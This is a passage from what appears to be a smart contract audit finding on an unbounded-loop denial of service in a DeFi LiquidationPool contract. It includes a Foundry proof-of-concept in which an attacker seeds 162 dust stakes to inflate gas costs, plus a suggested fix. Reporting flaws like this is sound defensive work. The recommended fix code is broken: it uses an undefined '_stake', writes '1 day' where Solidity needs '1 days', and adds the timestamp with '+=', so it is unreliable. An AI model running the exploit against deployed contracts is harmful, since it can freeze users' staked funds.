However an unbounded loop in the function can break the liquidationPool contract and lock users' funds forever if there are a certain amount of pending stakes.
Below a PoC illustrating the second scenario.
pragma solidity 0.8.17;
import "forge-std/console.sol";
import "forge-std/Test.sol";
import "../contracts/LiquidationPoolManager.sol";
import "../contracts/utils/ERC20Mock.sol";
import "../contracts/utils/EUROsMock.sol";
import "../contracts/utils/MockSmartVaultManager.sol";
import "../contracts/utils/ChainlinkMock.sol";
import "../contracts/utils/TokenManagerMock.sol";
contract LiquidationPoolTest is Test {
uint256 constant HUNDRED_PC = 100000;
uint256 constant DEFAULT_COLLATERAL_RATE = 120000;
int256 constant DEFAULT_ETH_USD_PRICE = 160000000000;
int256 constant DEFAULT_EUR_USD_PRICE = 106000000;
int256 constant DEFAULT_WBTC_USD_PRICE = 3500000000000;
int256 constant DEFAULT_USDC_USD_PRICE = 100000000;
uint256 constant PROTOCOL_FEE_RATE = 500;
uint32 constant POOL_FEE_PERCENTAGE = 50000;
ERC20Mock TST;
ERC20Mock WBTC;
ERC20Mock USDC;
EUROsMock EUROs;
ChainlinkMock eurUsd;
ChainlinkMock ethUsd;
ChainlinkMock wbtcUsd;
ChainlinkMock usdcUsd;
TokenManagerMock tokenManager;
MockSmartVaultManager mockSmartVaultManager;
LiquidationPoolManager liquidationPoolManager;
LiquidationPool liquidationPool;
function setUp() public {
vm.warp(10 days);
address protocol = vm.addr(0x12345678);
TST = new ERC20Mock("The Standard Token", "TST", 18);
EUROs = new EUROsMock();
eurUsd = new ChainlinkMock("EUR/USD");
eurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
WBTC = new ERC20Mock('Wrapped Bitcoin', 'WBTC', 8);
USDC = new ERC20Mock('USD Coin', 'USDC', 6);
ethUsd = new ChainlinkMock('ETH/USD');
ethUsd.setPrice(DEFAULT_ETH_USD_PRICE);
wbtcUsd = new ChainlinkMock('WBTC/USD');
wbtcUsd.setPrice(DEFAULT_WBTC_USD_PRICE);
usdcUsd = new ChainlinkMock('USDC/USD');
usdcUsd.setPrice(DEFAULT_USDC_USD_PRICE);
tokenManager = new TokenManagerMock('ETH', address(ethUsd));
tokenManager.addAcceptedToken(address(WBTC), address(wbtcUsd));
tokenManager.addAcceptedToken(address(USDC), address(usdcUsd));
mockSmartVaultManager = new MockSmartVaultManager(DEFAULT_COLLATERAL_RATE, address(tokenManager));
liquidationPoolManager =
new LiquidationPoolManager(address(TST), address(EUROs), address(mockSmartVaultManager), address(eurUsd), payable(protocol), POOL_FEE_PERCENTAGE);
liquidationPool = LiquidationPool(liquidationPoolManager.pool());
EUROs.grantRole(EUROs.BURNER_ROLE(), address(liquidationPool));
}
function testUnboundedArray() public {
address attacker = vm.addr(0x666);
address user = vm.addr(0x777);
TST.mint(attacker, 1 ether);
TST.mint(user, 1 ether);
address[] memory holders = new address[](162);
uint256 gasBefore = gasleft();
for (uint256 i; i < 162; i++) {
holders[i] = vm.addr(i + 1);
vm.prank(attacker);
TST.transfer(holders[i], 1);
vm.startPrank(holders[i]);
TST.approve(address(liquidationPool), 1);
liquidationPool.increasePosition(1, 0);
vm.stopPrank();
}
uint256 gasAfter = gasleft();
console.log("attack gas used: ", gasBefore - gasAfter);
vm.warp(block.timestamp + 1 days + 1);
gasBefore = gasleft();
vm.startPrank(user);
TST.approve(address(liquidationPool), 1 ether);
liquidationPool.increasePosition(1 ether, 0);
vm.stopPrank();
gasAfter = gasleft();
console.log("increasePosition gas used: ", gasBefore - gasAfter);
}
}
LiquidationPool contract is broken. Users staked funds are lost. In particular these functions are involved:
Manual review.
Consider revising the pending process. One approach might be to immediately set the user's position with a timestamp attribute, from which point the position is no longer pending.
struct Position {
address holder;
uint256 TST;
uint256 EUROs;
uint256 validFrom;
}
function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
positions[_stake.holder].holder = _stake.holder;
positions[_stake.holder].TST += _stake.TST;
positions[_stake.holder].EUROs += _stake.EUROs;
positions[_stake.holder].validFrom += block.timestamp + 1 day;
addUniqueHolder(msg.sender);
}